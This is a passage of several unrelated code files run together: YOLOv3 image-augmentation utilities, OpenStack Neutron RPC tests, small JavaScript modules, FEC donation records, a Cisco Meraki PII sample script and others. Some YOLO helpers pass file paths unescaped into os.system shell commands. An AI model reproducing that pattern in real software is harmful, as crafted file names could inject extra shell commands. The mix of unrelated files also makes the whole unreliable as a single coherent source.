= max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image) x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image) elif i == 1: # top right x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h elif i == 2: # bottom left x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h) x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, max(xc, w), min(y2a - y1a, h) elif i == 3: # bottom right x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h) x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h) img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax] padw = x1a - x1b padh = y1a - y1b # Labels x = self.labels[index] labels = x.copy() if x.size > 0: # Normalized xywh to pixel xyxy format labels[:, 1] = w * (x[:, 1] - x[:, 3] / 2) + padw labels[:, 2] = h * (x[:, 2] - x[:, 4] / 2) + padh labels[:, 3] = w * (x[:, 1] + x[:, 3] / 2) + padw labels[:, 4] = h * (x[:, 2] + x[:, 4] / 2) + padh labels4.append(labels) # Concat/clip labels if len(labels4): labels4 = np.concatenate(labels4, 0) # np.clip(labels4[:, 1:] - s / 2, 0, s, out=labels4[:, 1:]) # use with center crop np.clip(labels4[:, 1:], 0, 2 * s, out=labels4[:, 1:]) # use with random_affine # Augment # img4 = img4[s // 2: int(s * 1.5), s // 2:int(s * 1.5)] # center crop (WARNING, requires box pruning) img4, labels4 = random_affine(img4, labels4, degrees=self.hyp['degrees'], translate=self.hyp['translate'], scale=self.hyp['scale'], shear=self.hyp['shear'], border=-s // 2) # border to remove return img4, labels4 def letterbox(img, new_shape=(416, 416), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True): # Resize image to a 32-pixel-multiple rectangle https://github.com/ultralytics/yolov3/issues/232 shape = img.shape[:2] # current shape [height, width] if isinstance(new_shape, int): new_shape = (new_shape, new_shape) # Scale ratio (new / old) r = min(new_shape[0] / shape[0], new_shape[1] / shape[1]) if not scaleup: # only scale down, do not scale up (for better test mAP) r = min(r, 1.0) # Compute padding ratio = r, r # width, height ratios new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r)) dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1] # wh padding if auto: # minimum rectangle dw, dh = np.mod(dw, 64), np.mod(dh, 64) # wh padding elif scaleFill: # stretch dw, dh = 0.0, 0.0 new_unpad = new_shape ratio = new_shape[0] / shape[1], new_shape[1] / shape[0] # width, height ratios dw /= 2 # divide padding into 2 sides dh /= 2 if shape[::-1] != new_unpad: # resize img = cv2.resize(img, new_unpad, interpolation=cv2.INTER_LINEAR) top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1)) left, right = int(round(dw - 0.1)), int(round(dw + 0.1)) img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color) # add border return img, ratio, (dw, dh) def random_affine(img, targets=(), degrees=10, translate=.1, scale=.1, shear=10, border=0): # torchvision.transforms.RandomAffine(degrees=(-10, 10), translate=(.1, .1), scale=(.9, 1.1), shear=(-10, 10)) # https://medium.com/uruvideo/dataset-augmentation-with-random-homographies-a8f4b44830d4 # targets = [cls, xyxy] height = img.shape[0] + border * 2 width = img.shape[1] + border * 2 # Rotation and Scale R = np.eye(3) a = random.uniform(-degrees, degrees) # a += random.choice([-180, -90, 0, 90]) # add 90deg rotations to small rotations s = random.uniform(1 - scale, 1 + scale) # s = 2 ** random.uniform(-scale, scale) R[:2] = cv2.getRotationMatrix2D(angle=a, center=(img.shape[1] / 2, img.shape[0] / 2), scale=s) # Translation T = np.eye(3) T[0, 2] = random.uniform(-translate, translate) * img.shape[0] + border # x translation (pixels) T[1, 2] = random.uniform(-translate, translate) * img.shape[1] + border # y translation (pixels) # Shear S = np.eye(3) S[0, 1] = math.tan(random.uniform(-shear, shear) * math.pi / 180) # x shear (deg) S[1, 0] = math.tan(random.uniform(-shear, shear) * math.pi / 180) # y shear (deg) # Combined rotation matrix M = S @ T @ R # ORDER IS IMPORTANT HERE!! if (border != 0) or (M != np.eye(3)).any(): # image changed img = cv2.warpAffine(img, M[:2], dsize=(width, height), flags=cv2.INTER_LINEAR, borderValue=(114, 114, 114)) # Transform label coordinates n = len(targets) if n: # warp points xy = np.ones((n * 4, 3)) xy[:, :2] = targets[:, [1, 2, 3, 4, 1, 4, 3, 2]].reshape(n * 4, 2) # x1y1, x2y2, x1y2, x2y1 xy = (xy @ M.T)[:, :2].reshape(n, 8) # create new boxes x = xy[:, [0, 2, 4, 6]] y = xy[:, [1, 3, 5, 7]] xy = np.concatenate((x.min(1), y.min(1), x.max(1), y.max(1))).reshape(4, n).T # # apply angle-based reduction of bounding boxes # radians = a * math.pi / 180 # reduction = max(abs(math.sin(radians)), abs(math.cos(radians))) ** 0.5 # x = (xy[:, 2] + xy[:, 0]) / 2 # y = (xy[:, 3] + xy[:, 1]) / 2 # w = (xy[:, 2] - xy[:, 0]) * reduction # h = (xy[:, 3] - xy[:, 1]) * reduction # xy = np.concatenate((x - w / 2, y - h / 2, x + w / 2, y + h / 2)).reshape(4, n).T # reject warped points outside of image xy[:, [0, 2]] = xy[:, [0, 2]].clip(0, width) xy[:, [1, 3]] = xy[:, [1, 3]].clip(0, height) w = xy[:, 2] - xy[:, 0] h = xy[:, 3] - xy[:, 1] area = w * h area0 = (targets[:, 3] - targets[:, 1]) * (targets[:, 4] - targets[:, 2]) ar = np.maximum(w / (h + 1e-16), h / (w + 1e-16)) # aspect ratio i = (w > 4) & (h > 4) & (area / (area0 * s + 1e-16) > 0.2) & (ar < 10) targets = targets[i] targets[:, 1:5] = xy[i] return img, targets def cutout(image, labels): # https://arxiv.org/abs/1708.04552 # https://github.com/hysts/pytorch_cutout/blob/master/dataloader.py # https://towardsdatascience.com/when-conventional-wisdom-fails-revisiting-data-augmentation-for-self-driving-cars-4831998c5509 h, w = image.shape[:2] def bbox_ioa(box1, box2): # Returns the intersection over box2 area given box1, box2. box1 is 4, box2 is nx4. boxes are x1y1x2y2 box2 = box2.transpose() # Get the coordinates of bounding boxes b1_x1, b1_y1, b1_x2, b1_y2 = box1[0], box1[1], box1[2], box1[3] b2_x1, b2_y1, b2_x2, b2_y2 = box2[0], box2[1], box2[2], box2[3] # Intersection area inter_area = (np.minimum(b1_x2, b2_x2) - np.maximum(b1_x1, b2_x1)).clip(0) * \ (np.minimum(b1_y2, b2_y2) - np.maximum(b1_y1, b2_y1)).clip(0) # box2 area box2_area = (b2_x2 - b2_x1) * (b2_y2 - b2_y1) + 1e-16 # Intersection over box2 area return inter_area / box2_area # create random masks scales = [0.5] * 1 + [0.25] * 2 + [0.125] * 4 + [0.0625] * 8 + [0.03125] * 16 # image size fraction for s in scales: mask_h = random.randint(1, int(h * s)) mask_w = random.randint(1, int(w * s)) # box xmin = max(0, random.randint(0, w) - mask_w // 2) ymin = max(0, random.randint(0, h) - mask_h // 2) xmax = min(w, xmin + mask_w) ymax = min(h, ymin + mask_h) # apply random color mask image[ymin:ymax, xmin:xmax] = [random.randint(64, 191) for _ in range(3)] # return unobscured labels if len(labels) and s > 0.03: box = np.array([xmin, ymin, xmax, ymax], dtype=np.float32) ioa = bbox_ioa(box, labels[:, 1:5]) # intersection over area labels = labels[ioa < 0.60] # remove >60% obscured labels return labels def reduce_img_size(path='../data/sm4/images', img_size=1024): # from utils.datasets import *; reduce_img_size() # creates a new ./images_reduced folder with reduced size images of maximum size img_size path_new = path + '_reduced' # reduced images path create_folder(path_new) for f in tqdm(glob.glob('%s/*.*' % path)): try: img = cv2.imread(f) h, w = img.shape[:2] r = img_size / max(h, w) # size ratio if r < 1.0: img = cv2.resize(img, (int(w * r), int(h * r)), interpolation=cv2.INTER_AREA) # _LINEAR fastest fnew = f.replace(path, path_new) # .replace(Path(f).suffix, '.jpg') cv2.imwrite(fnew, img) except: print('WARNING: image failure %s' % f) def convert_images2bmp(): # from utils.datasets import *; convert_images2bmp() # Save images formats = [x.lower() for x in img_formats] + [x.upper() for x in img_formats] # for path in ['../coco/images/val2014', '../coco/images/train2014']: for path in ['../data/sm4/images', '../data/sm4/background']: create_folder(path + 'bmp') for ext in formats: # ['.bmp', '.jpg', '.jpeg', '.png', '.tif', '.dng'] for f in tqdm(glob.glob('%s/*%s' % (path, ext)), desc='Converting %s' % ext): cv2.imwrite(f.replace(ext.lower(), '.bmp').replace(path, path + 'bmp'), cv2.imread(f)) # Save labels # for path in ['../coco/trainvalno5k.txt', '../coco/5k.txt']: for file in ['../data/sm4/out_train.txt', '../data/sm4/out_test.txt']: with open(file, 'r') as f: lines = f.read() # lines = f.read().replace('2014/', '2014bmp/') # coco lines = lines.replace('/images', '/imagesbmp') lines = lines.replace('/background', '/backgroundbmp') for ext in formats: lines = lines.replace(ext, '.bmp') with open(file.replace('.txt', 'bmp.txt'), 'w') as f: f.write(lines) def recursive_dataset2bmp(dataset='../data/sm4_bmp'): # from utils.datasets import *; recursive_dataset2bmp() # Converts dataset to bmp (for faster training) formats = [x.lower() for x in img_formats] + [x.upper() for x in img_formats] for a, b, files in os.walk(dataset): for file in tqdm(files, desc=a): p = a + '/' + file s = Path(file).suffix if s == '.txt': # replace text with open(p, 'r') as f: lines = f.read() for f in formats: lines = lines.replace(f, '.bmp') with open(p, 'w') as f: f.write(lines) elif s in formats: # replace image cv2.imwrite(p.replace(s, '.bmp'), cv2.imread(p)) if s != '.bmp': os.system("rm '%s'" % p) def imagelist2folder(path='data/coco_64img.txt'): # from utils.datasets import *; imagelist2folder() # Copies all the images in a text file (list of images) into a folder create_folder(path[:-4]) with open(path, 'r') as f: for line in f.read().splitlines(): os.system('cp "%s" %s' % (line, path[:-4])) print(line) def create_folder(path='./new_folder'): # Create folder if os.path.exists(path): shutil.rmtree(path) # delete output folder os.makedirs(path) # make new output folder
# Copyright (c) 2012 OpenStack Foundation. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import datetime import mock import netaddr from neutron_lib.agent import topics as lib_topics from neutron_lib.callbacks import events from neutron_lib.callbacks import resources from neutron_lib import constants from neutron_lib import rpc as n_rpc from oslo_context import context as oslo_context from oslo_utils import uuidutils from neutron.agent import rpc from neutron.objects import network from neutron.objects import ports from neutron.tests import base class AgentRPCPluginApi(base.BaseTestCase): def _test_rpc_call(self, method): agent = rpc.PluginApi('fake_topic') ctxt = oslo_context.RequestContext(user_id='fake_user', project_id='fake_project') expect_val = 'foo' with mock.patch.object(agent.client, 'call') as mock_call,\ mock.patch.object(agent.client, 'prepare') as mock_prepare: mock_prepare.return_value = agent.client mock_call.return_value = expect_val func_obj = getattr(agent, method) if method == 'tunnel_sync': actual_val = func_obj(ctxt, 'fake_tunnel_ip') elif method == 'get_ports_by_vnic_type_and_host': actual_val = func_obj(ctxt, 'fake_vnic_type', 'fake_host') mock_call.assert_called_once_with( ctxt, 'get_ports_by_vnic_type_and_host', host='fake_host', vnic_type='fake_vnic_type') else: actual_val = func_obj(ctxt, 'fake_device', 'fake_agent_id') self.assertEqual(actual_val, expect_val) def test_get_device_details(self): self._test_rpc_call('get_device_details') def test_get_devices_details_list(self): self._test_rpc_call('get_devices_details_list') def test_get_network_details(self): self._test_rpc_call('get_network_details') def test_update_device_down(self): self._test_rpc_call('update_device_down') def test_tunnel_sync(self): self._test_rpc_call('tunnel_sync') def test_get_ports_by_vnic_type_and_host(self): self._test_rpc_call('get_ports_by_vnic_type_and_host') class AgentPluginReportState(base.BaseTestCase): def test_plugin_report_state_use_call(self): topic = 'test' reportStateAPI = rpc.PluginReportStateAPI(topic) expected_agent_state = {'agent': 'test'} with mock.patch.object(reportStateAPI.client, 'call') as mock_call, \ mock.patch.object(reportStateAPI.client, 'cast'), \ mock.patch.object(reportStateAPI.client, 'prepare' ) as mock_prepare: mock_prepare.return_value = reportStateAPI.client ctxt = oslo_context.RequestContext(user_id='fake_user', project_id='fake_project') reportStateAPI.report_state(ctxt, expected_agent_state, use_call=True) self.assertEqual(mock_call.call_args[0][0], ctxt) self.assertEqual(mock_call.call_args[0][1], 'report_state') self.assertEqual(mock_call.call_args[1]['agent_state'], {'agent_state': expected_agent_state}) self.assertIsInstance(mock_call.call_args[1]['time'], str) def test_plugin_report_state_cast(self): topic = 'test' reportStateAPI = rpc.PluginReportStateAPI(topic) expected_agent_state = {'agent': 'test'} with mock.patch.object(reportStateAPI.client, 'call'), \ mock.patch.object(reportStateAPI.client, 'cast' ) as mock_cast, \ mock.patch.object(reportStateAPI.client, 'prepare' ) as mock_prepare: mock_prepare.return_value = reportStateAPI.client ctxt = oslo_context.RequestContext(user_id='fake_user', project_id='fake_project') reportStateAPI.report_state(ctxt, expected_agent_state) self.assertEqual(mock_cast.call_args[0][0], ctxt) self.assertEqual(mock_cast.call_args[0][1], 'report_state') self.assertEqual(mock_cast.call_args[1]['agent_state'], {'agent_state': expected_agent_state}) self.assertIsInstance(mock_cast.call_args[1]['time'], str) def test_plugin_report_state_microsecond_is_0(self): topic = 'test' expected_time = datetime.datetime(2015, 7, 27, 15, 33, 30, 0) expected_time_str = '2015-07-27T15:33:30.000000' expected_agent_state = {'agent': 'test'} with mock.patch('neutron.agent.rpc.datetime') as mock_datetime: reportStateAPI = rpc.PluginReportStateAPI(topic) mock_datetime.utcnow.return_value = expected_time with mock.patch.object(reportStateAPI.client, 'call'), \ mock.patch.object(reportStateAPI.client, 'cast' ) as mock_cast, \ mock.patch.object(reportStateAPI.client, 'prepare' ) as mock_prepare: mock_prepare.return_value = reportStateAPI.client ctxt = oslo_context.RequestContext(user_id='fake_user', project_id='fake_project') reportStateAPI.report_state(ctxt, expected_agent_state) self.assertEqual(expected_time_str, mock_cast.call_args[1]['time']) class AgentRPCMethods(base.BaseTestCase): def _test_create_consumers( self, endpoints, method, expected, topics, listen): with mock.patch.object(n_rpc, 'Connection') as create_connection: rpc.create_consumers( endpoints, method, topics, start_listening=listen) create_connection.assert_has_calls(expected) def test_create_consumers_start_listening(self): endpoints = [mock.Mock()] expected = [ mock.call(), mock.call().create_consumer('foo-topic-op', endpoints, fanout=True), mock.call().consume_in_threads() ] method = 'foo' topics = [('topic', 'op')] self._test_create_consumers( endpoints, method, expected, topics, True) def test_create_consumers_do_not_listen(self): endpoints = [mock.Mock()] expected = [ mock.call(), mock.call().create_consumer('foo-topic-op', endpoints, fanout=True), ] method = 'foo' topics = [('topic', 'op')] self._test_create_consumers( endpoints, method, expected, topics, False) def test_create_consumers_with_node_name(self): endpoints = [mock.Mock()] expected = [ mock.call(), mock.call().create_consumer('foo-topic-op', endpoints, fanout=True), mock.call().create_consumer('foo-topic-op.node1', endpoints, fanout=False), mock.call().consume_in_threads() ] with mock.patch.object(n_rpc, 'Connection') as create_connection: rpc.create_consumers(endpoints, 'foo', [('topic', 'op', 'node1')]) create_connection.assert_has_calls(expected) class TestCacheBackedPluginApi(base.BaseTestCase): def setUp(self): super(TestCacheBackedPluginApi, self).setUp() self._api = rpc.CacheBackedPluginApi(lib_topics.PLUGIN) self._api._legacy_interface = mock.Mock() self._api.remote_resource_cache = mock.Mock() self._network_id = uuidutils.generate_uuid() self._segment_id = uuidutils.generate_uuid() self._segment = network.NetworkSegment( id=self._segment_id, network_id=self._network_id, network_type=constants.TYPE_FLAT) self._port_id = uuidutils.generate_uuid() self._network = network.Network(id=self._network_id, segments=[self._segment]) self._port = ports.Port( id=self._port_id, network_id=self._network_id, device_id='vm_uuid', mac_address=netaddr.EUI('fa:16:3e:ec:c7:d9'), admin_state_up=True, security_group_ids=set([uuidutils.generate_uuid()]), fixed_ips=[], allowed_address_pairs=[], device_owner=constants.DEVICE_OWNER_COMPUTE_PREFIX, bindings=[ports.PortBinding(port_id=self._port_id, host='host1', status=constants.ACTIVE, profile={}, vif_type='vif_type', vnic_type='vnic_type')], binding_levels=[ports.PortBindingLevel(port_id=self._port_id, host='host1', level=0, segment=self._segment)]) def test__legacy_notifier_resource_delete(self): self._api._legacy_notifier(resources.PORT, events.AFTER_DELETE, self, mock.ANY, resource_id=self._port_id, existing=self._port) self._api._legacy_interface.port_update.assert_not_called() self._api._legacy_interface.port_delete.assert_called_once_with( mock.ANY, port={'id': self._port_id}, port_id=self._port_id) self._api._legacy_interface.binding_deactivate.assert_not_called() def test__legacy_notifier_resource_update(self): updated_port = ports.Port(id=self._port_id, name='updated_port') self._api._legacy_notifier(resources.PORT, events.AFTER_UPDATE, self, mock.ANY, changed_fields=set(['name']), resource_id=self._port_id, existing=self._port, updated=updated_port) self._api._legacy_interface.port_delete.assert_not_called() self._api._legacy_interface.port_update.assert_called_once_with( mock.ANY, port={'id': self._port_id}, port_id=self._port_id) self._api._legacy_interface.binding_deactivate.assert_not_called() def _test__legacy_notifier_binding_activated(self): updated_port = ports.Port( id=self._port_id, name='updated_port', bindings=[ports.PortBinding(port_id=self._port_id, host='host2', status=constants.ACTIVE), ports.PortBinding(port_id=self._port_id, host='host1', status=constants.INACTIVE)]) self._api._legacy_notifier(resources.PORT, events.AFTER_UPDATE, self, mock.ANY, changed_fields=set(['name', 'bindings']), resource_id=self._port_id, existing=self._port, updated=updated_port) self._api._legacy_interface.port_update.assert_not_called() self._api._legacy_interface.port_delete.assert_not_called() def test__legacy_notifier_new_binding_activated(self): self._test__legacy_notifier_binding_activated() self._api._legacy_interface.binding_deactivate.assert_called_once_with( mock.ANY, host='host1', port_id=self._port_id) self._api._legacy_interface.binding_activate.assert_called_once_with( mock.ANY, host='host2', port_id=self._port_id) def test__legacy_notifier_no_new_binding_activated(self): updated_port = ports.Port( id=self._port_id, name='updated_port', bindings=[ports.PortBinding(port_id=self._port_id, host='host2', status=constants.ACTIVE)]) self._api._legacy_notifier(resources.PORT, events.AFTER_UPDATE, self, mock.ANY, changed_fields=set(['name', 'bindings']), resource_id=self._port_id, existing=self._port, updated=updated_port) self._api._legacy_interface.port_update.assert_called_once_with( mock.ANY, port={'id': self._port_id}, port_id=self._port_id) self._api._legacy_interface.port_delete.assert_not_called() self._api._legacy_interface.binding_deactivate.assert_not_called() def test__legacy_notifier_existing_or_updated_is_none(self): self._api._legacy_notifier(resources.PORT, events.AFTER_UPDATE, self, mock.ANY, changed_fields=set(['name', 'bindings']), resource_id=self._port_id, existing=None, updated=None) self._api._legacy_notifier(resources.PORT, events.AFTER_UPDATE, self, mock.ANY, changed_fields=set(['name', 'bindings']), resource_id=self._port_id, existing=self._port, updated=None) call = mock.call(mock.ANY, port={'id': self._port_id}, port_id=self._port_id) self._api._legacy_interface.port_update.assert_has_calls([call, call]) self._api._legacy_interface.port_delete.assert_not_called() self._api._legacy_interface.binding_deactivate.assert_not_called() def test__legacy_notifier_binding_activated_not_supported(self): del self._api._legacy_interface.binding_deactivate self._test__legacy_notifier_binding_activated() def test_get_device_details_binding_in_host(self): self._api.remote_resource_cache.get_resource_by_id.side_effect = [ self._port, self._network] entry = self._api.get_device_details(mock.ANY, self._port_id, mock.ANY, 'host1') self.assertEqual(self._port_id, entry['device']) self.assertEqual(self._port_id, entry['port_id']) self.assertEqual(self._network_id, entry['network_id']) self.assertNotIn(constants.NO_ACTIVE_BINDING, entry) def test_get_device_details_binding_not_in_host(self): self._api.remote_resource_cache.get_resource_by_id.side_effect = [ self._port, self._network] entry = self._api.get_device_details(mock.ANY, self._port_id, mock.ANY, 'host2') self.assertEqual(self._port_id, entry['device']) self.assertNotIn('port_id', entry) self.assertNotIn('network_id', entry) self.assertIn(constants.NO_ACTIVE_BINDING, entry)
/*globals define*/ //TODO: used??? define( [ 'lodash', 'src/utils/models/Field', 'src/utils/models/ObjectField', 'src/utils/models/DateField' ], function( _, Field, ObjectField, DateField ) { 'use strict'; var fieldHelper = {}; fieldHelper.createField = function(options) { var type, FieldConstructor; options = options || {}; // TODO- raise an Error! we should always receive a plain object! // received and already instantiared field, just return it if (options instanceof Field) return options; type = (options.type || 'string').toLowerCase(); // the control instance has already been created if (!_.isString(type)) throw new Error('control.type should be a string.'); if (type === 'object') { FieldConstructor = ObjectField; } else if (type === 'date') { FieldConstructor = DateField; } else { FieldConstructor = Field; } return new FieldConstructor(options); }; fieldHelper.createFields = function(fields) { return _.map(fields, function(field) { return fieldHelper.createField(field); }); }; return fieldHelper; });
import cv2 import os import glob video_dir = '/media/irelin/data_disk/dataset/afp/noseprint_recognition/videos' output_dir = '/media/irelin/data_disk/dataset/afp/noseprint_recognition/frames' for i, vpath in enumerate(glob.glob(os.path.join(video_dir, "*"))): tmp_output_dir = os.path.join(output_dir, str(i)) os.makedirs(tmp_output_dir, exist_ok=True) vidcap = cv2.VideoCapture(vpath) success, image = vidcap.read() count = 0 print(vpath) while success: cv2.imwrite(os.path.join(tmp_output_dir, "frame%d.jpg" % count), image) # save frame as JPEG file success, image = vidcap.read() print('Read a new frame: ', success) count += 1
import Enum from '../Enum'; export default new Enum([ 'action', 'execute', 'sync', 'initSync', 'syncSuccess', 'initModule', ], 'proxy');
mycallback( {"CONTRIBUTOR OCCUPATION": "", "CONTRIBUTION AMOUNT (F3L Bundled)": "125.00", "ELECTION CODE": "", "MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "755 N 11th St Ste P4200", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "TX", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20101018", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "Not a corporation.See 11 CFR 114.7(d) & TX Rev. Civ. Stat. Ann. art. 1528f", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00001214", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "777021521", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "ORG", "CONTRIBUTOR CITY": "Beaumont", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "39423463", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "18U", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727365.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "Southeast Texas OB/GYN Associates, PA", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "125.00", "FORM TYPE": "SA11ai"}); mycallback( {"CONTRIBUTOR OCCUPATION": "", "CONTRIBUTION AMOUNT (F3L Bundled)": "125.00", "ELECTION CODE": "", "MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "755 N 11th St Ste P4200", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "TX", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20101018", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "Not a corporation.See 11 CFR 114.7(d) & TX Rev. Civ. Stat. Ann. art. 1528f", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00001214", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "777021521", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "ORG", "CONTRIBUTOR CITY": "Beaumont", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "39423463", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "18U", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727365.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "Southeast Texas OB/GYN Associates, PA", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "125.00", "FORM TYPE": "SA11ai"});
import numpy as np import matplotlib.pyplot as plt distances = np.linspace(0,0.8,50) speeds = np.linspace(0,12,12) plt.plot(speeds/12) plt.plot(np.exp(-0.05*(speeds-12)**2)) plt.figure() plt.plot(distances,np.exp(-15.5*distances),label="40.5") plt.plot(distances,np.exp(-2.5*distances),label="2.5") plt.plot(distances,np.exp(-5.5*distances),label="5.5") plt.plot(distances,np.exp(-7.5*distances),label="7.5") plt.plot(distances,np.exp(-6.5*distances),label="6.5") plt.plot(distances,1-distances**2,label="1.5") plt.legend() plt.show()
#!/usr/bin/env python # -*- coding: utf-8 -*- """MerakiPII Sample Script. Copyright (c) 2019 Cisco and/or its affiliates. This software is licensed to you under the terms of the Cisco Sample Code License, Version 1.1 (the "License"). You may obtain a copy of the License at https://developer.cisco.com/docs/licenses All use of the material herein must be in accordance with the terms of the License. All rights not expressly granted by the License are reserved. Unless required by applicable law or agreed to separately in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. """ __author__ = "Zach Brewer" __email__ = "zbrewer@cisco.com" __version__ = "0.1.0" __copyright__ = "Copyright (c) 2019 Cisco and/or its affiliates." __license__ = "Cisco Sample Code License, Version 1.1" # simple example script that uses MerakiPII.PIICalls module to get all required to access PII for a given identifier_value # data from this API call/example can be used to make PII delete or restrict processing requests (these start with example19) # Make sure to check the API Documentation - some attributes are for Systems Manager (SM) Orgs/Networks only # API Documentation for this call: # https://dashboard.meraki.com/api_docs#list-the-keys-required-to-access-personally-identifiable-information-pii-for-a-given-identifier_value # If you don't have a test environment, you can use DevNet Meraki Cloud Sandbox with a free account: # https://devnetsandbox.cisco.com/RM/Diagram/Index/a9487767-deef-4855-b3e3-880e7f39eadc?diagramType=Topology # see getNetworkPIIKeys function in PIICalls module for details and arguments # see the 1st example (example1-getOrgPIIRequests.py) for various ways to assign values for API calls # from here on out, we are using config.ini file for values # next line imports PIICalls.py from the MerakiPII directory from MerakiPII import PIICalls import configparser import json # load config.ini and assign config variables from appropriate section to variables config = configparser.ConfigParser() config.read('config.ini') apikey = config['DEFAULT-KEYS-MAC']['API_KEY'] networkid = config['DEFAULT-KEYS-MAC']['NETWORK_ID'] identifier_type = config['DEFAULT-KEYS-MAC']['IDENTIFIER_TYPE'] identifier_value = config['DEFAULT-KEYS-MAC']['IDENTIFIER_VALUE'] print('\nAssociated PII Keys from this call can be used in PII delete or restrict processing requests.' '\n' 'See "example19-SubmitNewOrgDelRequest-MAC" and above for PII delete or restrict processing requests.' '\n\n' 'Making PII Key API call for identifier_value type ' + '"' + identifier_type + '"' + ' with the value of '+ '"' + identifier_value + '"' + ':' '\n...' ) MyNetworkPIIKeys = PIICalls.getNetworkPIIKeys(apikey, networkid, identifier_type, identifier_value) print(json.dumps(MyNetworkPIIKeys, indent=4, sort_keys=False))
/* * SPDX-License-Identifier: Apache-2.0 * * The OpenSearch Contributors require contributions made to * this file be licensed under the Apache-2.0 license or a * compatible open source license. */ /* * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* * Modifications Copyright OpenSearch Contributors. See * GitHub history for details. */ module.exports = Object.assign( {}, require('./get_opensearch_dashboards_path'), require('./get_project_root'), require('./get_webpack_config'), require('./get_path_type'), require('./get_is_path_request'), require('./resolve_webpack_alias') );
from dataclasses import dataclass @dataclass class Game: id: int tier: str name: str averageScore: float description: str numReviews: int
